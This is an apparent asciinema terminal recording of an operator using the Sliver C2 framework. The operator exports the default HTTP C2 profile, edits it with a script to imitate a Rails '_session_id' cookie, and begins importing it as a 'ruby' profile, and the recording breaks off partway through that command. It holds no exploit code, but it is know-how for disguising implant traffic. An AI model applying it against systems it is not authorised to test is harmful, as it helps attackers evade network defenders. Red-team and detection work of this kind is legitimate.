[14.978986, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a c2 profile\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> default\u001b[0m\r\n\u001b[0;39m ruby\u001b[0m\r\n"]
[14.979738, "o", "\u001b7"]
[14.983027, "o", "\u001b[1A"]
[14.983154, "o", "\u001b[0G\u001b[1A\u001b[0G"]
[15.557864, "o", "\u001b8\u001b[?25h\u001b8"]
[15.558923, "o", "\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
[15.559016, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a c2 profile\u001b[0m\u001b[0;36m default\u001b[0m\r\n"]
[15.605808, "o", "defaultC2 profile exported to default_c2profile\r\n\r\n"]
[15.616357, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[15.616489, "o", "\u001b[1 q\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[15.616952, "o", "\u001b[6n"]
[15.619739, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[9D\u001b[9C\u001b[272D\u001b[9C\u001b[?25h"]
[16.802261, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[16.818936, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[16.819924, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[10D\u001b[9C\u001b[272D\u001b[10C\u001b[?25h"]
[17.029573, "o", "\u001b[?25l"]
[17.032519, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[17.041941, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A"]
[17.042239, "o", "\u001b[11D\u001b[9C\u001b[272D\u001b[11C\u001b[?25h"]
[17.202384, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[17.221738, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[12D\u001b[9C\u001b[272D\u001b[12C\u001b[?25h"]
[17.387826, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[17.393474, "o", "\u001b[6n"]
[17.403537, "o", "\u001b[1m\u001b[32mexit\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[13D\u001b[9C\u001b[272D\u001b[13C\u001b[?25h"]
[17.626637, "o", "\u001b[13D\u001b[9C\u001b[6n"]
[17.642436, "o", "\u001b[272D\u001b[13C\u001b[0J\u001b[272D\r\r\n"]
[17.646867, "o", "\u001b[0 q\r\n"]
[17.660633, "o", "Exiting...\r\n"]
[17.682692, "o", "# "]
[22.445159, "o", "python3 generateC2Profile.py default_c2profile ror _session_id"]
[25.608935, "o", "\r\n"]
[25.851413, "o", "C2 Profile updated !\r\n"]
[25.865598, "o", "# "]
[28.138618, "o", "."]
[28.237052, "o", "/"]
[28.503577, "o", "s"]
[28.591085, "o", "l"]
[28.642169, "o", "i"]
[28.769198, "o", "v"]
[28.886529, "o", "e"]
[29.031073, "o", "r"]
[29.250302, "o", "-"]
[29.411579, "o", "s"]
[29.455372, "o", "e"]
[29.5209, "o", "r"]
[29.745856, "o", "v"]
[29.863682, "o", "e"]
[29.949355, "o", "r"]
[30.06486, "o", "\r\n"]
[31.221878, "o", "\u001b[1m\u001b[37m\r\r\n.------..------..------..------..------..------.\r\r\n|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |\r\r\n| :/\\: || :/\\: || (\\/) || :(): || (\\/) || :(): |\r\r\n| :\\/: || (__) || :\\/: || ()() || :\\/: || ()() |\r\r\n| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|\r\r\n`------'`------'`------'`------'`------'`------'\r\r\n\u001b[0m\r\n"]
[31.225435, "o", "All hackers gain indestructible\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - ba3893980d1ca5e4ae4089eb4c87e9f5ba389119 - \u001b[1mDirty\u001b[0m\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\r\n\r\n"]
[31.25069, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[31.252324, "o", "\u001b[1 q"]
[31.254311, "o", "\u001b[?25l"]
[31.255494, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[31.258725, "o", "\u001b[0m\u001b[0K\u001b[49m"]
[31.259539, "o", "\r\r\n"]
[31.260445, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[9D\u001b[9C\u001b[272D\u001b[9C\u001b[?25h"]
[31.828318, "o", "\u001b[?25l"]
[31.831247, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[31.848297, "o", "c\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[10D\u001b[9C\u001b[272D\u001b[10C"]
[31.848681, "o", "\u001b[?25h"]
[32.026532, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[32.03955, "o", "c2\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[11D\u001b[9C\u001b[272D\u001b[11C\u001b[?25h"]
[32.233435, "o", "\u001b[?25l\u001b[272D"]
[32.236205, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[32.248591, "o", "c2p\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[32.250298, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[12D\u001b[9C\u001b[272D\u001b[12C\u001b[?25h"]
[32.36383, "o", "\u001b[?25l"]
[32.369252, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[32.389164, "o", "c2pr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[32.390349, "o", "\u001b[272D\u001b[1A\u001b[13D\u001b[9C\u001b[272D\u001b[13C\u001b[?25h"]
[32.444907, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[32.447494, "o", "\u001b[6n"]
[32.454331, "o", "c2pro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[32.456411, "o", "\u001b[272D\u001b[1A\u001b[14D\u001b[9C\u001b[272D\u001b[14C\u001b[?25h"]
[32.603502, "o", "\u001b[?25l"]
[32.612524, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[32.621382, "o", "c2prof\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[32.623513, "o", "\u001b[272D\u001b[1A\u001b[15D\u001b[9C\u001b[272D\u001b[15C\u001b[?25h"]
[32.676813, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[32.678606, "o", "\u001b[6n"]
[32.685147, "o", "c2profi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[32.685369, "o", "\u001b[0J\u001b[272D\u001b[1A\u001b[16D\u001b[9C\u001b[272D\u001b[16C\u001b[?25h"]
[32.76993, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[32.786995, "o", "c2profil\u001b[0m\u001b[0K\u001b[49m\r"]
[32.787801, "o", "\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[17D\u001b[9C\u001b[272D\u001b[17C\u001b[?25h"]
[32.837751, "o", "\u001b[?25l"]
[32.838328, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[32.847406, "o", "c2profile\u001b[0m\u001b[0K\u001b[49m"]
[32.849497, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[18D\u001b[9C\u001b[272D\u001b[18C\u001b[?25h"]
[32.879614, "o", "\u001b[?25l\u001b[272D"]
[32.880209, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[32.886002, "o", "\u001b[1m\u001b[32mc2profiles\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[19D\u001b[9C\u001b[272D\u001b[19C\u001b[?25h"]
[33.018785, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[33.039192, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[33.039837, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[20D\u001b[9C\u001b[272D\u001b[20C\u001b[?25h"]
[33.399545, "o", "\u001b[?25l"]
[33.410284, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[33.424596, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D"]
[33.425546, "o", "\u001b[1A\u001b[21D\u001b[9C\u001b[272D\u001b[21C\u001b[?25h"]
[33.492157, "o", "\u001b[?25l"]
[33.4954, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[33.501657, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mim\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[33.503608, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[22D\u001b[9C\u001b[272D\u001b[22C\u001b[?25h"]
[33.656374, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[33.678317, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimp\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[23D\u001b[9C\u001b[272D\u001b[23C\u001b[?25h"]
[33.715316, "o", "\u001b[?25l"]
[33.717377, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[33.725518, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimpo\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[33.726923, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[24D\u001b[9C\u001b[272D\u001b[24C\u001b[?25h"]
[33.840438, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[33.854711, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimpor\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[33.855398, "o", "\u001b[272D\u001b[1A\u001b[25D\u001b[9C\u001b[272D\u001b[25C\u001b[?25h"]
[33.935524, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[33.942502, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[33.945125, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[26D\u001b[9C\u001b[272D\u001b[26C\u001b[?25h"]
[34.014432, "o", "\u001b[?25l\u001b[272D"]
[34.018536, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[34.027, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[27D"]
[34.027665, "o", "\u001b[9C\u001b[272D\u001b[27C\u001b[?25h"]
[34.558606, "o", "\u001b[?25l"]
[34.560369, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[34.568695, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[34.569739, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[28D\u001b[9C\u001b[272D\u001b[28C\u001b[?25h"]
[34.805492, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[34.818651, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-h\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[29D\u001b[9C\u001b[272D\u001b[29C\u001b[?25h"]
[35.080587, "o", "\u001b[29D\u001b[9C"]
[35.085609, "o", "\u001b[6n"]
[35.096589, "o", "\u001b[272D"]
[35.09685, "o", "\u001b[29C\u001b[0J\u001b[272D\r\r\n"]
[35.103594, "o", "\u001b[0 q"]
[35.107707, "o", "\r\n"]
[35.12822, "o", "Import HTTP C2 profile\r\n\r\n"]
[35.136333, "o", "Usage:\r\n c2profiles import [flags]\r\n\r\nFlags:\r\n -f, --file string Path to C2 configuration file to import\r\n -h, --help help for import\r\n -n, --name string HTTP C2 Profile name (default \"default\")\r\n -o, --overwrite Overwrite profile if it exists\r\n"]
[35.137237, "o", "\r\n"]
[35.14667, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[35.147151, "o", "\u001b[1 q\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[35.149729, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[9D\u001b[9C\u001b[272D\u001b[9C\u001b[?25h"]
[35.551746, "o", "\u001b[?25l"]
[35.55409, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[35.561774, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-h\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m"]
[35.562346, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[29D\u001b[9C\u001b[272D\u001b[29C\u001b[?25h"]
[36.39638, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[36.412781, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[36.415352, "o", "\u001b[272D\u001b[1A\u001b[28D\u001b[9C\u001b[272D\u001b[28C\u001b[?25h"]
[36.679571, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[36.689876, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D"]
[36.692777, "o", "\u001b[1A\u001b[29D\u001b[9C\u001b[272D\u001b[29C\u001b[?25h"]
[36.787773, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[36.80321, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[30D"]
[36.805388, "o", "\u001b[9C\u001b[272D\u001b[30C\u001b[?25h"]
[37.045357, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[37.055753, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22md\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[37.056147, "o", "\u001b[0J\u001b[272D\u001b[1A\u001b[31D\u001b[9C\u001b[272D\u001b[31C\u001b[?25h"]
[37.092415, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[37.092771, "o", "\u001b[6n"]
[37.100319, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mde\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A"]
[37.104532, "o", "\u001b[32D\u001b[9C\u001b[272D\u001b[32C\u001b[?25h"]
[37.221831, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[37.242747, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdef\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[37.243834, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[33D\u001b[9C\u001b[272D\u001b[33C\u001b[?25h"]
[37.33546, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[37.349443, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefa\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[34D"]
[37.350242, "o", "\u001b[9C\u001b[272D\u001b[34C\u001b[?25h"]
[37.410583, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[37.416881, "o", "\u001b[6n"]
[37.428427, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefau\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D"]
[37.428609, "o", "\u001b[1A\u001b[35D\u001b[9C\u001b[272D\u001b[35C\u001b[?25h"]
[37.462408, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[37.463469, "o", "\u001b[6n"]
[37.467562, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefaul\u001b[0m\u001b[0K\u001b[49m\r"]
[37.468823, "o", "\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[36D\u001b[9C\u001b[272D\u001b[36C\u001b[?25h"]
[37.59543, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[37.60619, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[37.609401, "o", "\u001b[272D\u001b[1A\u001b[37D\u001b[9C\u001b[272D\u001b[37C\u001b[?25h"]
[37.914869, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[37.937955, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[37.939934, "o", "\u001b[272D\u001b[1A\u001b[38D\u001b[9C\u001b[272D\u001b[38C\u001b[?25h"]
[38.222001, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[38.234905, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[38.235707, "o", "\u001b[272D\u001b[1A\u001b[39D\u001b[9C\u001b[272D\u001b[39C\u001b[?25h"]
[38.400472, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[38.41496, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[38.415386, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[40D\u001b[9C\u001b[272D\u001b[40C\u001b[?25h"]
[38.574407, "o", "\u001b[?25l"]
[38.575144, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[38.58185, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2p\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D"]
[38.583772, "o", "\u001b[1A\u001b[41D\u001b[9C\u001b[272D\u001b[41C\u001b[?25h"]
[38.668223, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[38.679539, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2pr\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[38.68028, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[42D\u001b[9C\u001b[272D\u001b[42C\u001b[?25h"]
[38.77467, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[38.785174, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2pro\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[38.785631, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[43D\u001b[9C\u001b[272D\u001b[43C\u001b[?25h"]
[38.89326, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[38.898343, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2prof\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[38.899929, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[44D\u001b[9C\u001b[272D\u001b[44C\u001b[?25h"]
[38.967681, "o", "\u001b[?25l\u001b[272D"]
[38.969536, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[38.979525, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profi\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[38.980535, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[45D\u001b[9C\u001b[272D\u001b[45C\u001b[?25h"]
[39.022552, "o", "\u001b[?25l\u001b[272D"]
[39.022873, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[39.02837, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[46D\u001b[9C"]
[39.030542, "o", "\u001b[272D\u001b[46C\u001b[?25h"]
[39.088579, "o", "\u001b[?25l\u001b[272D"]
[39.089001, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[39.095252, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profile\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[47D\u001b[9C\u001b[272D\u001b[47C\u001b[?25h"]
[39.2076, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[39.222643, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profile \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[48D\u001b[9C"]
[39.224495, "o", "\u001b[272D\u001b[48C\u001b[?25h"]
[39.469353, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[39.476682, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profile \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[39.478613, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[49D\u001b[9C\u001b[272D\u001b[49C\u001b[?25h"]
[39.756896, "o", "\u001b[?25l"]
[39.758744, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[39.766387, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profile \u001b[1m\u001b[38;05;244m-n\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[39.767647, "o", "\u001b[0J\u001b[272D\u001b[1A\u001b[50D\u001b[9C\u001b[272D\u001b[50C\u001b[?25h"]
[39.895335, "o", "\u001b[?25l"]
[39.895941, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[39.912461, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profile \u001b[1m\u001b[38;05;244m-n \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[39.91286, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[51D\u001b[9C\u001b[272D\u001b[51C\u001b[?25h"]
[40.073684, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[40.075728, "o", "\u001b[6n"]
[40.08134, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profile \u001b[1m\u001b[38;05;244m-n \u001b[39m\u001b[22mr\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[40.081568, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[52D\u001b[9C\u001b[272D\u001b[52C\u001b[?25h"]
[40.131466, "o", "\u001b[?25l\u001b[272D"]
[40.13189, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[40.13909, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profile \u001b[1m\u001b[38;05;244m-n \u001b[39m\u001b[22mru\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[53D"]
[40.139397, "o", "\u001b[9C\u001b[272D\u001b[53C\u001b[?25h"]
[40.258919, "o", "\u001b[?25l"]
[40.259556, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[40.26376, "o", "\u001b[6n"]
[40.278483, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profile \u001b[1m\u001b[38;05;244m-n \u001b[39m\u001b[22mrub\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[40.279502, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[54D\u001b[9C\u001b[272D\u001b[54C\u001b[?25h"]
[40.393796, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[40.397861, "o", "\u001b[6n"]
[40.415177, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profile \u001b[1m\u001b[38;05;244m-n \u001b[39m\u001b[22mruby\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[40.417477, "o", "\u001b[272D\u001b[1A\u001b[55D\u001b[9C\u001b[272D\u001b[55C\u001b[?25h"]
